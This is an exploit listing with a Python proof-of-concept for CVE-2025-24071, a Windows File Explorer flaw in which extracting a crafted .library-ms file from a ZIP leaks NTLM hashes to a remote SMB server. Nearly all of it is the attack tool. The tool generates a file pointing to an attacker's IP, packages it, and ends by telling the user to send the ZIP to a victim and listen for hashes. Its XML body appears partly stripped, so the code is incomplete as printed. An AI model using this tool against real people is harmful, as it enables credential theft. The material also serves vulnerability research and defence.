Windows File Explorer Windows 11 (23H2) – NTLM Hash Disclosure

• CVE-2025-24071

!/usr/bin/env python3 Exploit Title: Windows File Explorer Windows 11…

#!/usr/bin/env python3

# Exploit Title: Windows File Explorer Windows 11 (23H2) – NTLM Hash Disclosure

# Exploit Author: Mohammed Idrees Banyamer

# Twitter/GitHub:https://github.com/mbanyamer

# Date: 2025-05-27

# CVE: CVE-2025-24071

# Vendor: Microsoft

# Affected Versions: Windows 10/11 (All supporting .library-ms and SMB)

# Tested on: Windows 11 (23H2)

# Type: Local / Remote (NTLM Leak)

# Platform: Windows

# Vulnerability Type: Information Disclosure

# Description:

# Windows Explorer automatically initiates an SMB authentication request when a

# .library-ms file is extracted from a ZIP archive. This causes NTLM credentials

# (in hashed format) to be leaked to a remote SMB server controlled by the attacker.

# No user interaction is required beyond extraction.

import zipfile

from pathlib import Path

import argparse

import re

import sys

from colorama import Fore, Style

def create_library_ms(ip: str, filename: str, output_dir: Path) -> Path:

“””Creates a malicious .library-ms file pointing to an attacker’s SMB server.”””

payload = f”’







\\\\{ip}\\shared






”’

output_file = output_dir / f”{filename}.library-ms”

output_file.write_text(payload, encoding=”utf-8″)

return output_file

def build_zip(library_file: Path, output_zip: Path):

“””Packages the .library-ms file into a ZIP archive.”””

with zipfile.ZipFile(output_zip, ‘w’, zipfile.ZIP_DEFLATED) as archive:

archive.write(library_file, arcname=library_file.name)

print(f”{Fore.GREEN}[+] Created ZIP: {output_zip}{Style.RESET_ALL}”)

def is_valid_ip(ip: str) -> bool:

return re.match(r”^\d{1,3}(\.\d{1,3}){3}$”, ip) is not None

def main():

parser = argparse.ArgumentParser(

description=”CVE-2025-24071 – NTLM Hash Disclosure via .library-ms ZIP Archive”,

epilog=”example:\n python3 CVE-2025-24071_tool.py -i 192.168.1.100 -n payload1 -o ./output_folder –keep”,

formatter_class=argparse.RawTextHelpFormatter

)

parser.add_argument(“-i”, “–ip”, required=True, help=”Attacker SMB IP address (e.g., 192.168.1.100)”)

parser.add_argument(“-n”, “–name”, default=”malicious”, help=”Base filename (default: malicious)”)

parser.add_argument(“-o”, “–output”, default=”output”, help=”Output directory (default: ./output)”)

parser.add_argument(“–keep”, action=”store_true”, help=”Keep .library-ms file after ZIP creation”)

args = parser.parse_args()

if not is_valid_ip(args.ip):

print(f”{Fore.RED}[!] Invalid IP address: {args.ip}{Style.RESET_ALL}”)

sys.exit(1)

output_dir = Path(args.output)

output_dir.mkdir(parents=True, exist_ok=True)

print(f”{Fore.CYAN}[*] Generating malicious .library-ms file…{Style.RESET_ALL}”)

library_file = create_library_ms(args.ip, args.name, output_dir)

zip_file = output_dir / f”{args.name}.zip”

build_zip(library_file, zip_file)

if not args.keep:

library_file.unlink()

print(f”{Fore.YELLOW}[-] Removed intermediate .library-ms file{Style.RESET_ALL}”)

print(f”{Fore.MAGENTA}[!] Done. Send ZIP to victim and listen for NTLM hash on your SMB server.{Style.RESET_ALL}”)

if __name__ == “__main__”:

main()